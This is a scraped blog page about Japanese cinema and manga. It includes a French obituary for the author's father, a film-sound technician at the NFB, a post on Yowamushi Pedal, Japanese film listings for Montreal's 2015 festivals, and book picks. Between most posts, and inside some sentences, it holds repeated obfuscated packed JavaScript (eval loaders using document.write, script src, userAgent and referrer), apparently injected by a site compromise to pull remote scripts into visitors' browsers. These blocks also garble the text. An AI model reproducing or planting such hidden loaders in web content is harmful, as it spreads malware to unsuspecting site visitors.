eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|edzhz|var|u0026u|referrer|sbahr||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nzhzz|var|u0026u|referrer|kdtys||js|php’.split(‘|’),0,{}))

La famille recevra les condoléances à la
Résidence Funéraire de Laval de la Coop Funéraire du Grand Montréal (2000 rue Cunard, Laval, Qc) samedi le 31 octobre de 13 h 30 à 16 h. Un hommage en sa mémoire et une cérémonie de la parole suivra à compter de 16 h. L’inhumation des cendres se fera ultérieurement en privé.

Vous trouverez les détails dans les pages d’avis de décès du Journal de Montréal d’aujourd’hui ou sur le site de la coopérative funéraire.

[ Translate ]

Claude E Pelletier 1928-2015

Mon père, document.write(“”); Claude E. Pelletier, est décédé la nuit dernière (samedi 17 octobre) aux soins palliatifs de l’Hôpital Sacré-Coeur des suites d’une pneumonie. Il aurait eu quatre-vingt-sept ans le mois prochain. Il a eu une vie longue et bien remplie qui mérite amplement d’être célébrée sans le moindre regret.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|frrbs|var|u0026u|referrer|sihha||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sybea|var|u0026u|referrer|ydshs||js|php’.split(‘|’),0,{}))

Il a grandi sur la rue Marie-Louise à Montréal, derrière le Théâtre Saint-Denis, car son père, Jules-Alphonse Pelletier, était le concierge de l’École Jeanne-Mance qui, par un étrange hasard, abrite maintenant la
Cinémathèque Québécoise. Il a fait carrière dans le cinéma, étant preneur de son d’abord au Studio Renaissance Films à Montréal, puis pour l’Office National du Film à Ottawa, puis à Montréal. Ce travail l’amène à voyager un peu partout au Canada et dans de nombreux pays du monde. À la fin des années soixante, il devient gestionnaire à l’ONF et s’occupe de son premier département de video, avant de prendre en mains la gestion des plateaux et des équipes de tournage comme superviseur des opérations au Service de la pré-production.

Un peu ébranlé par le décès de sa fille aînée, Johanne, et désabusé par le début du long démantèlement de cette grande institution fédérale qu’était alors l’ONF, il prends sa retraite en 1983 après trente-cinq ans de service et avoir vu son nom apparaître au générique de près d’une centaine de films. Il se consacre alors à sa véritable passion: la généalogie. Un des premiers maître-généalogiste agréé du Québec, il s’implique avec grand dévouement auprès, entre autres, de la Société d’Histoire et de Généalogie de l’Île-Jésus et de l’Association des Familles Pelletier.

Il laisse dans le deuil son épouse Laure Gauthier, ses enfants Luce, Francine et Claude J. (Miyako Matsuda), les familles de ses frères et soeurs (Alice [feu Jean-Vianney Yale], Pauline [feu André Langlois], Soeur Madeleine [Congrégation Notre-Dame], Pierre [Micheline], Cécile [Gérard Saint-Jean] et Gilles [Marguerite] lui survivent), ainsi que de nombreux parents et amis.

La famille recevra les condoléances à la Résidence Funéraire de Laval de la Coop Funéraire du Grand Montréal (2000 rue Cunard, Laval, Qc) samedi le 31 octobre de 13 h 30 à 16 h. Un hommage en sa mémoire et une cérémonie de la parole suivra à compter de 16 h. L’inhumation des cendres se fera ultérieurement en privé.

Vous trouverez les détails dans les pages d’avis de décès du Journal de Montréal ou sur le site de la coopérative funéraire.

Au lieu d’envoyer des fleurs, si vous désirez faire un geste à la mémoire de Claude E., nous vous suggérons de faire un don à la Société de l’Alzheimer de Montréal.

J’ai déjà parlé de mon père à deux reprise sur ce blogue (lors d’un commentaire sur le film YUL 871 et en introduisant les portraits d’artisans du cinéma de l’ONF). Aussi, je mettrai prochainement en ligne un album photo commémoratif (probablement sur ma page Flickr ou Vimeo). Pour le moment, je lui rends hommage en reprenant ici la video de son “portrait d’artisan du cinéma” que j’ai mis sur Vimeo l’été dernier:


[ Translate ]

Discovery: Yowamushi Pedal

While watching the news on NHK World, document.write(“”); I came upon a report titled “Pedal Power” talking about the good influence the manga Yowamushi Pedal is having on the otaku generation (I can’t embed the video but there’s a direct link). The manga tells the touching story of a self-identifying otaku who become by chance a member of his high school cycling club and ends up competing in a national championship. In the same fashion that manga like Yawara!, Yakitate!! Japan, Hikaru no Go, Kami no Shizuku or Initial D have revived the young generation’s interest into judo, pastry cooking, the board game go, wine tasting or even race drifting, this manga has inspired many young otaku to take up road cycling. Anything that encourages young couch potatoes to do more exercice is great. So it made me curious about this very popular sports manga.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yrbby|var|u0026u|referrer|fakbn||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hidrs|var|u0026u|referrer|easei||js|php’.split(‘|’),0,{}))

“For the love of all things otaku—anime, video games, figures, you name it!—power-pedaling Sakamichi Onoda has long been conquering the steepest slopes and regularly making the ninety-kilometer round-trip to Akihabara on a granny bike!! But when his bike commute to his new high school lands him in a confrontation with the serious first-year road racer Imaizumi, Onoda has a major showdown on his hands! Can this meek geek really out-pedal the future ace of the school road-racing team?!” (Text from Yen Press)

Yowamushi Pedal (????? / lit. “weakling pedal”) is a sports manga by Wataru Watanabe which is currently serialized in Akita Shoten’s Weekly Sh?nen Champion magazine. Since its beginning in February 2008, it has been compiled in forty-one tank?bon volumes so far. The manga is popular, as its many fan pages and scanlations can attest, so it’s no surprise that it has been licensed for North America by Yen Press.

Yowamushi Pedal, vol. 1, by Wataru Watanabe. New York, Yen Press, decembre 2015. Trade Paperback, 400 pg., $24.00 US /$29.00 CAN. ISBN: 9780316309523. Recommended for a young readership (7+). A second volume (ISBN 9780316354684) is announced for april 2016.

The manga was also adapted in a two-season animated TV series (38 episodes for Yowamushi Pedal and 24 episodes for Yowamushi Pedal: Grande Road), three animated movies (Yowamushi Pedal Re: Ride and Yowamushi Pedal Re: Road simply compiles the episodes of the TV series, while Yowamushi Pedal: The Movie is a sequel) and one video game for Nintendo 3DS. The second season of the TV series is currently streaming on Crunchyroll and Discotek Media has acquired the right for the North American Dvd release (due for december 2015).

If you are a cycling fan, this manga and anime will probably interest you.

For more information you can check the following websites:

[ Traduire ]

Festival du Nouveau Cinema 2015

“More than anything, document.write(“”); the Festival du nouveau cinéma is about a spirit, the spirit of good company, revelry and fun. Every edition is a chance to get together and celebrate our shared passion for film around each new lineup. The eleven-day Festival is designed as a space devoted to discussions, meetings and sharing, where film fans can come together with artists and professionals to exchange ideas in an informal setting. (…) [T]he Festival du nouveau cinéma, resolutely forward-looking, has long been the unfailing advocate of new technologies. Each year, the Festival seeks out new developments that move cinema forward (…)! The Festival (…) is a showcase for cinema of all types, from offbeat, one-of-a-kind niche works to crowd-pleasers to daringly innovative big events. (…) Cinema at its best, shorts and features, documentaries and fiction from Quebec and around the world (…). [T]he programming team puts together a rich, varied lineup to celebrate local and international cinema the way it deserves, year after year.“
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|znkkk|var|u0026u|referrer|ysfbr||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dikyh|var|u0026u|referrer|tdztn||js|php’.split(‘|’),0,{}))

The 44th edition of the Festival du nouveau cinéma will be held from october 7 to 18 in various location in Montreal (Theatre Maisonneuve, Pavillion Judith-Jasmin Annexe at UQAM, Cinéma du Parc, Cineplex Odéon Quartier Latin and Université Concordia). It’s offering 350-odd movies from around the world, including
ten Japanese movies. More details on the festival website and Facebook page.

For more information about the Japanese programming, you can check the Coco Montréal website. I’ve also gather some useful information and links (after the jump):

  • An (?? / lit. “Sweet Red Bean Paste”): Japan/France/Germany, 2015, 113 min; Dir.: Naomi Kawase; Cast: Kirin Kiki, Masatoshi Nagase, Kyara Uchida.

    “At seventy, Tokue is sure of herself, thanks to her secret recipe for exceptional dough for dorayaki, a traditional, irresistibly delicious Japanese sweet cake filled with red bean paste. In her mind, there is no doubt: Sentaro, the lonely dorayaki vendor who doesn’t like sugar, must hire her. The idea turns out to be good, because once Tokue gets involved, the little shop’s sales take off. While the old lady teaches her boss to “listen to the beans,” she can’t hide her secret for very long.” (from the Festival’s website)

    Screening as a special presentation: Sat 10/10 15:30 at Auditorium Alumni H-110 (Concordia); Sun 10/18 21:00 at Cineplex Odeon Quartier Salle 10.

  • Belladonna of Sadness (????????? / Kanashimi no Beradonna): Japan, 1973, 86 min; Dir.: Eiichi Yamamoto; Scr.: Eiichi Yamamoto & Yoshiyuki Fukuda (based on a book by Jules Michelet); Mus.: Masahiko Satô; Animation: Gisaburo Sugii; Prod.: Osamu Tezuka; Cast: Katsuyuki Itô, Aiko Nagayama, Shigako Shimegi, Masaya Takahashi, Netsuke Yashiro, Masakane Yonekura.

    “Never before officially released in North America, this one-of-a-kind cult classic can now be enjoyed in all of its splendour through a new restoration based on original negatives. [P]roduced by the legendary Osamu Tezuka’s studio Mushi Production (…). Based on a book by Jules Michelet (Satanism and Witchcraft, 1862), it tells the tragic feminist tale of a 14th-century peasant woman driven by religious oppression to give herself body and soul to witchcraft and the sulphurous charms of the devil.” (from the Festival’s website)

    Screening as part of the “Temps 0” segment: Mon 10/10 19:00 at Salle J.A. De Sève (Concordia); Sat 10/18 19:00 at Cinéma du Parc 2.

  • The birth of saké: USA/Japan, 2015, 94 min; Dir./Scr./Phot.: Erik Shirai; Ed.: Takeshi Fukunaga, Frederick Shanahan; Prod.: Makoto Sasa.

    “In northern Japan, the small Tedorigawa brewery has been making its saké using the same artisanal methods for more than a century. From October to April, the workers, all men, live together at the brewery and work non-stop, even when mourning. Cooking the rice, stirring it by hand, overseeing its fermentation… it is a sacred ritual, conducted silently in a shroud of steam. (…) There is a good reason saké is not “manufactured” but rather “born”: it is a beverage, but it is also history and culture.” (from the Festival’s website)

    Screening as part of the “Panorama” segment (documentary): Thu 10/15 19:00 at Cinéma du Parc 1; Sat 10/17 19:00 at Centre PHI – Espace B.

  • The Diary of Ochibidi (????? / Ochibi-san): Japan, 2015, 8 min; Dir./Scr.: Masashi Kawamura; Phot.: Kan Sugiki; Ed.: Hidehisa Watanabe; Animation: Shuhei Harada, Tetsuo Ichimura, Junko Negishi, Saki Omita, Kenta Shinohara, Moe Usami; Mus.: Kenjiro Matsuo, Yuichi Nakamura.

    “The film is loosely based on the famous manga Ochibi-san, by Moyoco Anno, about the day-to-day life of Ochibi as she experiences the 4 seasons of Japan.” (from the Festival’s website)

    Screening as part of the “P’tits Loups” segment: Sat 10/10 10:00 at Agora Hydro-Québec du Coeur des sciences.

  • Journey to the shore (???? / Kishibe no Tabi): Japan/France, 2015, 127 min; Dir.: Kiroshi Kurosawa; Scr.: Takashi Ujita, Kiyoshi Kuroswa (based on a novel by Kazumi Yumoto); Cast: Eri Fukatsu, Tadanobu Asano, Yu Aoi, Akira Emoto.

    “Yusuke drowned in the ocean three years ago. But one day, he reappears in the middle of Japan, more specifically in the life of his strangely unsurprised wife, Mizuki, a piano teacher, who he invites on a journey through villages and rice paddies. On their journey, there is no confrontation; there are, rather, opportunities to rebuild their bond and meet others who, like him, are still wandering. What they will find at the end is, perhaps, eternal peace.” (from the Festival’s website)

    Screening as a special presentation: Thu 10/08 14:00 at Cinéma du Parc 1; Sat 10/17 16:30 at Auditorium Alumni H-110 (Concordia).

  • Oyster Factory (???? / Kaki Kouba): Japan/USA, 2015, 145 min; Dir.: Kazuhiro Sôda; Cast: Shinsuke Hirano, Koichi Watanabe, Yukiko Watanabe.

    “Once there were twenty or more. Now, in the Japanese coastal village of Ushimado, there are only six. The gradual disappearance of small, family-run oyster factories may be a sign of the times, but it is more than a symbolic change: it also has very real consequences for fishermen, manual labourers and local residents, who are not happy to see workers being brought in from outside.” (from the Festival’s website)

    Screening as part of the “Panorama” segment (documentary): Sat 10/10 18:30 at Cinéma du Parc 2; Sun 10/11 13:00 at Cinéma du Parc 2.

  • The Taste of Tea (??? / Cha no Aji): Japan, 2004, 120 min; Dir./Scr.: Ishii Katsuhito; Phot.: Kosuke Matushima; Ed.: Katsuhito Ishii; Mus.: Little Tempo; Cast: Tadanobu Asano, Takahiro Sato, Maya Banno, Satomi Tezuka, Tomokazu Miura, Tatsuya Gashuin, Anna Tsuchiya, Rinko Kikuchi.

    “A spell of time in the life of a family living in rural Tochigi prefecture, north of Tokyo. Though her husband is busy working at an office, Yoshiko is not an ordinary housewife, instead working on an animated film project at home. Uncle Ayano has recently arrived, looking to get his head together after living in Tokyo for several years. Meanwhile, Yoshiko’s daughter Sachiko is mainly concerned with why she seems to be followed around everywhere by a giant version of herself.” (from the Festival’s website)

    Screening as special presentation commented by Jean-Marc Vallée: Fri 10/09 19:00 at Cinéma du Parc 1.

  • Sumo Road: The Musical (????????? / Dosukoi Musical): Japan, 2015, 25 min; Dir./Scr.: Ken Oshiai; Phot.: Chris Freilich; Ed.: Chieko Suzaki; Mus.: Nobuko Toda; Cast: Tetsu Watanabe, Ryusuke Komakine, Lin Yu Chun, Gitarô Ikeda.

    “An over- weight exchange student with no friends decides to join the sumo team at a Japanese university.But to ensure his spot, he must stand up to the team leader and face him in an ultimate sumo match. Can he embrace the spirit of sumo or will he be cast out and friendless once again?” (from the Festival’s website)

    Screening as part of the “Compétition International” segment: Mon 10/12 17:00 at Pavillon Judith-Jasmin annexe (Salle Jean-Claude Lauzon); Wed 10/14 13:00 at Pavillon Judith-Jasmin annexe (Salle Jean-Claude Lauzon).

  • The whispering star (????? / Hiso Hiso Boshi): Japan, 2015, 100 min; Dir./Scr.: Sion Sono; Phot.: Hideo Yamamoto; Ed.: Junichi Ito; Prod. Des.: Takeshi Shimizu; Cast: Megumi Kagurazaka, Kenji Endo, Yûto Ikeda, Mori Kouko.

    “Yoko (Megumi Kagurazaka) is a robot employed by a courier company. In her interstellar ship, shaped like a little Japanese house, she scoots back and forth across the galaxy, delivering parcels and news to people everywhere. Yoko is terribly bored, and eventually can no longer resist looking inside the parcels to learn more about the very strange phenomenon that is human nature.” (from the Festival’s website)

    Screening as part of the “Temps 0” segment: Sat 10/10 17:00 at Cineplex Odeon Quartier 10; Sun 10/11 21:00 at Cinéma du Parc 1.

  • Yakuza apocalypse (????? / Gokudo Daisenso): Japan, 2015, 115 min; Dir.: Takashi Miike; Scr.: Yoshitaka Yamaguchi; Phot.: Hajime Kanda; Ed.: Kenji Yamashita; Mus.: Kôji Endô; Prod. Des.: Akira Nakamoto; Cast: Hayao Ichihara, Yayan Ruhian, Riko Narumi, Lily Franky, Reiko Takashima.

    “He’s a benevolent vampire yakuza feared by criminals and adored by regular folk. One day two men show up: a Django-like goth preacher and a geeky fighter (none other than Yayan Ruhian from Raid 2). They belong to a rival cartel that wants him dead. But just before he dies, the yakuza vampire bites his faithful right-hand man, young Kageyama. What happens next? The apocalypse, obviously!” (from the Festival’s website)

    Screening as part of the “Temps 0” segment: Tue 10/13 19:00 at Cineplex Odeon Quartier 10; Wed 10/14 21:00 at Cineplex Odeon Quartier 10.

[ Traduire ]

Les découvertes du mois

En août et en septembre j’ai fait la découverte (par hasard ou parce qu’on me les a recommandé) de quelques livres intéressants qui se sont, document.write(“”); bien sûr, ajouté à cette liste de lecture qui ne cesse de croître. Il s’agit d’ouvrages très diversifiés, dont certains en anglais, que je vous présente sans aucun ordre particulier dans l’espoir qu’ils vous intéresseront également.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ytezd|var|u0026u|referrer|snabr||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bsdbk|var|u0026u|referrer|eftbf||js|php’.split(‘|’),0,{}))

Voir les détails
après le saut de page >>

Ad Astra

“Sicile, 241 avant J.-C. Après deux décennies de conflit avec Rome, l’armée carthaginoise menée par Hamilcar Barca doit déposer les armes. Son fils, Hannibal, a six ans quand il assiste à cette bataille. Mise en déroute, Carthage doit un tribut astronomique au vainqueur, et l’enfant est témoin, impuissant, de l’humiliation des siens.”

“Mais le jeune Hannibal refuse l’échec : élevé dans la haine de Rome, il va vouer son existence entière à la destruction de l’ennemi. Commence alors l’affrontement exceptionnel d’un des plus grands tacticiens de tous les temps et de son alter ego romain, le génie militaire Scipion l’Africain. Traversée des Alpes à dos d’éléphant, pillages impitoyables et combats parmi les plus sanglants de mémoire d’homme : un duel à mort qui a marqué l’Histoire…”

“Bravoure, complots et stratégie… Plongez au cœur des batailles qui opposèrent les légendaires Hannibal et Scipion !”

Je ne peux pas croire qu’un manga mettant en scène l’histoire de Rome m’ait échappé! Et c’est dans un style très décent! Il s’agit d’un manga seinen historique couramment prépublié dans le magazine Ultra Jump de Shueisha depuis mars 2011. On y raconte la deuxième guerre punique alors que l’expansion naissante de Rome l’opposait à l’empire Carthaginois au IIIe siècle avant notre ère. Il y a sept tomes de paru jusqu’à maintenant. Une bande-annonce et un extrait de cinquante-neuf pages sont disponible sur le site de Ki-oon. À lire absolument dès que j’ai un peu de temps!

Ad Astra : Scipion L’Africain & Hannibal Baca, Tome 1, par Mihachi KAGANO. Paris, Éditions Ki-oon, mars 2014. 13 x 18 cm, 226 pg., 7,90 € / $14.95 Can. Sens de lecture original japonais. ISBN: 978-2-35592-652-5. Recommandé pour public adolescent (14+).

Pour plus d’information vous pouvez consulter les sites suivants:

Godzilla: une métaphore du japon d’après-guerre

“Le kaiju eiga (film de monstres) continue encore aujourd’hui à offrir aux théoriciens un indicateur intéressant de l’évolution de la société japonaise depuis 1954, année de sortie du premier Godzilla. Le Japon d’après-guerre demeure sans nul doute un lieu de prédilection qui se prête à l’incarnation de plusieurs périls enfantés par l’inconscience des hommes. Godzilla et ses avatars, par leurs ravages cataclysmiques, perpétuent cette image d’une nation victime des forces de la nature ou des dérives génocidaires de la science.”

Un sujet qui me semble passionnant, abordé ici par un auteur québécois dans un essai publié en France. J’ai toujours dit que le cinéma est une fenêtre ouverte sur la société et le temps et qu’il peut nous en apprendre beaucoup si seulement on peut prendre quelques instant pour l’observer et y réfléchir. C’est particulièrement vrai pour le cinéma japonais. Vous pouvez voir la couverture arrière pour plus de détails, ainsi qu’un extrait sur Google Books.

Godzillamd: une métaphore du japon d’après-guerre, par Alain Vézina. Paris, l’Harmattan, mai 2014. 21.5 x 0.8 x 13.5 cm, 198 pg., 24 € / $40.95 Can. ISBN: 978-2-343-03201-6. Recommandé pour public adulte (16+).

Pour plus d’information vous pouvez consulter les sites suivants:

Planète japon

“Planète Japon est un magazine francophone trimestriel, entièrement dédié à la culture japonaise. On y trouve des dossiers (sur l’histoire, la culture, la société japonaise, les arts et même les paysages japonais), des articles de qualités (musique, littérature, mangas, cinéma, cuisine, technologie, tendances, etc.) mais aussi des interview. Distribué partout en France ainsi que dans certains pays francophones, Planète Japon propose un voyage entre modernisme et traditions à tous les passionnés de Japon, quel que soit leur âge et leur connaissance du pays.”

On me dit que c’est disponible en kiosques ici mais jusqu’à maintenant j’en ai fait une demi-douzaine sans la moindre chance. Pour plus de détails voyez leur site internet ou la page Facebook.

La Divine Comédie par Go Nagai

J’ai été plutôt intrigué lorsque Animeland m’a appris que les éditions Black Box (dont j’ignorais l’existence: voir leur site internet et page Facebook) allait publier fin septembre une adaptation très personnelle (et qui semble très “inspirée” de Gustave Doré—pour ne pas dire copié) de la Divine Comédie de Dante dans le cadre de leur Collection Go Nagai (3 tomes de 258 pages, 14,5 x 21 cm, 32.70 €). Cela n’a rien de récent puisque Dante shinkyoku (?????) a originalement été publié au Japon en 1994.

Je n’aime pas du tout Go Nagai: je trouve son dessin laid, ses histoires vulgaires et il a la fâcheuse tendance à usurper le travail de ses assistants sous son propre nom. J’imagine assez bien cependant une adaptation de Dante par cet auteur fasciné par l’horreur démoniaque. Je serais donc curieux de voir ce que cela donne comme résultat (en fait, nul besoin d’attendre que cette série traverse l’Atlantique puisqu’il existe déjà une “scanlation” anglaise partielle). À voir donc, mais par simple curiosité.

The Firefly Effect: Electoral 2072 – Book 1

I have this friend from college who seems to be a real renaissance man: he’s an athlete, an artist (he drew a wicked Calvin on my dorm’s door and inked the comic I scripted, Gates of Pandragon), an engineer, and a lawyer. I knew he was creative (he wrote some RPG scenarii) but I recently discovered that he also wrote a couple of science-fiction novels! Some would say they are not real books because they are not in print, but ebooks are the future and the publishing company is an open access publisher specialized in Science, Technology and Medicine! It looks quite serious (but actually they’re based in India and have a questionable record; it’s more like self-publishing as you pay them to publish your stuff). He told me that he writes hard-science and implied that it might be a difficult read since he writes for himself, assuming that his readers have a PhD in Physics! Comments are good, though, and it looks interesting so I will surely give it a try as soon as I have a little time.

The Firefly Effect: Electoral 2072 – Book 1, by Alain Villeneuve. Austin Publishing, June 2014. 278 pg., $3.39 (Kindle edition). ASIN B00L0T49WA. The second book is titled The Oldest: Electoral 2072.

For more information you can check the following websites:

A Brief History of Manga

“Manga is more than a genre in the comics field: it is a vital creative medium in its own right, with hundreds of millions of readers worldwide, a host of graphic styles, and a rich history now spanning seven decades.”

“Now for the first time, that history is told by an award-winning expert in the field. Covering topics from Akira to Mazinger Z, this book is fully illustrated throughout, and photos of key creators accompany accessible sidebars and timelines.”

“Answering the key questions of any fan where did my favourite manga come from, and what should I read next? this book will open doors to neophytes and experts alike.”

There sure has been an avalanche of reference books about manga lately, but I always said that there is never too much information. Each new books offer a new angle, a new perspective. And this time it’s written by Helen McCarthy, a well-known anime and manga specialist from the United Kingdom. I am quite curious to read it and add it to my reference shelf. I’ll try to get a review copy from the publisher (if I can reach them, their website was down for a while).

A Brief History of Manga: The essential pocket guide to the Japanese pop culture phenomenon, by Helen McCarthy. London: Ilex Press, July 2014. 18.5 x 11.5 cm, 96 pg., £7.99 / $14.99 Cnd. ISBN:978-1-78157-098-2.

For more information you can check the following websites:

Histoire(s) du manga moderne

“1952. Le manga moderne fait ses premiers pas dans un Japon qui retrouve son indépendance après la Seconde Guerre mondiale. 2012. Phénomène culturel global, le manga est un rouage essentiel de la troisième puissance économique au monde. Comment, en soixante ans, la BD japonaise a-t-elle connu un tel essor ? Qui sont les acteurs ayant permis cette incroyable expansion ? Année après année, découvrez les événements majeurs et les artistes qui ont marqué l’histoire du manga moderne.”

J’ai introduit ce titre il y plus d’un an déjà mais, là il est finalement paru alors j’aimerais encore une fois en souligner l’importance avant d’en faire un commentaire plus approfondi. C’est un bel ouvrage avec une présentation chronologique fort intéressante. Et comme je l’ai dit plus haut, on a jamais trop de références sur le manga, chaque nouveau livre apportant une nouvelle perspective.

Histoire(s) du manga moderne , par Matthieu Pinon et Laurent Lefebvre. Paris: YNNIS Éditions, Avril 2015. 24 x 2.5 x 27 cm, 204 pg., 29.99 € / $49.95 Can. ISBN: 979-1-0933-7622-6.

Pour plus d’information vous pouvez consulter les sites suivants:


[ Translate ]

MWFF 2015 update

A few new press releases have been posted about the Montreal World Film Festival:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kbafs|var|u0026u|referrer|sfsts||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|irafb|var|u0026u|referrer|fadtz||js|php’.split(‘|’),0,{}))

More importantly, the programming information is now available online. On the festival website you can find the full schedule as well as the full index of movies (in PDF format).

If, like us, you are more interested in Japanese movies you can find all the details in our updated entry “Montreal World Film Festival 2015”.

[ Traduire ]

Montreal World Film Festival 2015

The 39th edition of the Montreal World Film Festival will take place from August 27th to September 7th 2015, document.write(“”); at the Imperial (1430 Bleury – Metro Place des Arts) and Quartier Latin (350 rue Emery – Berri-UQAM) theatres. Tickets will be available from August 22 at noon at the offices of the Imperial (CI) and Quartier Latin (QL) theatres, as well as online through the Admission Network website. Individual tickets are $ 10, Passports are $ 120 and Cinephile Card is $ 250. Booklets of 10 coupons redeemable against individual tickets are available for $ 70. More details on the festival website: www.ffm-montreal.org.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|teehn|var|u0026u|referrer|frtyt||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dbssy|var|u0026u|referrer|ydfht||js|php’.split(‘|’),0,{}))

This year there was no real press conference about the programming and instead the festival unveiled the line-up of films in the
